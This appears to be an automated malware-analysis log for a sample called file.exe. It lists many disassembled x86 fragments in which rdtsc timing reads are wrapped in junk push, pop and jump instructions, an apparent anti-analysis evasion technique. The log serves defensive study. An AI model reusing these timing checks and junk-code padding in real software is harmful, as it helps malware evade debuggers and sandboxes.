Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1445 second address: 11D1452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1452 second address: 11D1456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1456 second address: 11D146F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Fh 0x00000007 jnl 00007FDD2537F156h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFFFE second address: 11D0009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0009 second address: 11D0015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0015 second address: 11D001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D02CC second address: 11D02D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D02D0 second address: 11D02D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0563 second address: 11D0567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0567 second address: 11D056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D056B second address: 11D0575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0575 second address: 11D0579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0579 second address: 11D057D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3A85 second address: 11D3A8B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3A8B second address: 11D3AA7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDD2537F162h 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FDD2537F156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3AA7 second address: 11D3AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67C6 second address: 11D67E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDD2537F156h 0x0000000a jmp 00007FDD2537F15Ch 0x0000000f jnc 00007FDD2537F156h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67E3 second address: 11D67EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDD24CC6346h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67EF second address: 11D67F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D61D3 second address: 11D61D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6359 second address: 11D635E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D635E second address: 11D6364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EAE9 second address: 114EB10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDD2537F163h 0x0000000e jp 00007FDD2537F156h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC05C second address: 11DC062 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC306 second address: 11DC312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDD2537F156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC312 second address: 11DC33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDD24CC6350h 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007FDD24CC634Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 ja 00007FDD24CC6346h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195F0C second address: 1195F98 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDD2537F15Fh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FDD2537F158h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 jmp 00007FDD2537F168h 0x0000002d push 00000004h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FDD2537F158h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov dword ptr [ebp+1244875Fh], edx 0x0000004f nop 0x00000050 jmp 00007FDD2537F15Bh 0x00000055 push eax 0x00000056 jl 00007FDD2537F160h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC899 second address: 11DC89D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC9F5 second address: 11DC9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC9FB second address: 11DC9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD55D second address: 11DD562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD562 second address: 11DD582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDD24CC6346h 0x0000000a jmp 00007FDD24CC634Bh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jnc 00007FDD24CC6346h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1591 second address: 11E159F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDD2537F156h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0795 second address: 11E07A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jc 00007FDD24CC6346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E07A7 second address: 11E07B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E07B9 second address: 11E07BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E08FB second address: 11E091E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDD2537F156h 0x0000000a popad 0x0000000b jmp 00007FDD2537F168h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E091E second address: 11E0933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FDD24CC634Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0ABE second address: 11E0ADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FDD2537F156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDD2537F161h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0ADF second address: 11E0AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0AE3 second address: 11E0B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jc 00007FDD2537F156h 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 jne 00007FDD2537F156h 0x00000019 pop esi 0x0000001a jmp 00007FDD2537F15Bh 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0D9D second address: 11E0DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0F2B second address: 11E0F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0F31 second address: 11E0F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6351h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E398C second address: 11E399B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007FDD2537F15Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E399B second address: 11E39A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3F98 second address: 11E3FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F15Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E906C second address: 11E90A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC634Fh 0x00000009 popad 0x0000000a push esi 0x0000000b jno 00007FDD24CC6346h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDD24CC6359h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA331 second address: 11EA346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDD2537F156h 0x0000000a jmp 00007FDD2537F15Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA346 second address: 11EA381 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDD24CC634Dh 0x00000008 jl 00007FDD24CC6346h 0x0000000e pop esi 0x0000000f jmp 00007FDD24CC6359h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jnl 00007FDD24CC6356h 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA88E second address: 11EA892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA892 second address: 11EA8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e jnc 00007FDD24CC6358h 0x00000014 push ecx 0x00000015 jmp 00007FDD24CC6350h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EABD3 second address: 11EABDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EABDE second address: 11EABE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2D36 second address: 11F2D57 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDD2537F156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDD2537F15Dh 0x00000013 jnp 00007FDD2537F156h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3271 second address: 11F3280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDD24CC6346h 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3280 second address: 11F3285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F33D1 second address: 11F341C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDD24CC6346h 0x00000008 jmp 00007FDD24CC6357h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FDD24CC634Eh 0x00000014 pop ecx 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FDD24CC6355h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F355F second address: 11F35A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F162h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007FDD2537F15Fh 0x00000010 jmp 00007FDD2537F15Fh 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FDD2537F15Eh 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35A9 second address: 11F35C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDD24CC6355h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35C9 second address: 11F35CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35CF second address: 11F35D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F35D3 second address: 11F3600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FDD2537F162h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3600 second address: 11F3606 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3606 second address: 11F360F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3913 second address: 11F3918 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F51EC second address: 11F5207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F167h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FBD70 second address: 11FBD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC594 second address: 11FC5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007FDD2537F158h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC967 second address: 11FC96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC96B second address: 11FC97B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FDD2537F16Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC97B second address: 11FC992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6353h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC992 second address: 11FC9CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FDD2537F166h 0x0000000a jmp 00007FDD2537F168h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12061BB second address: 12061C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12061C1 second address: 12061CB instructions: 0x00000000 rdtsc 0x00000002 js 00007FDD2537F156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12061CB second address: 12061F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDD24CC6357h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12061F0 second address: 1206219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD2537F168h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FDD2537F156h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206219 second address: 1206238 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FDD24CC6355h 0x00000010 jmp 00007FDD24CC634Dh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206238 second address: 1206243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BBD second address: 1205BC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BC9 second address: 1205BCF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12077E4 second address: 12077E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12077E8 second address: 1207820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FDD2537F156h 0x0000000d jmp 00007FDD2537F15Eh 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDD2537F15Dh 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jns 00007FDD2537F156h 0x00000024 push edi 0x00000025 pop edi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B517 second address: 121B530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6353h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AEFE second address: 121AF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CBB4 second address: 121CBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDD24CC6346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CBC0 second address: 121CBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CBCB second address: 121CBE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jnp 00007FDD24CC6354h 0x0000000f jnp 00007FDD24CC634Eh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B63E second address: 122B644 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B644 second address: 122B650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B4A4 second address: 122B4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDD2537F156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B4B0 second address: 122B4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B4B6 second address: 122B4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDD2537F15Eh 0x0000000a rdtsc
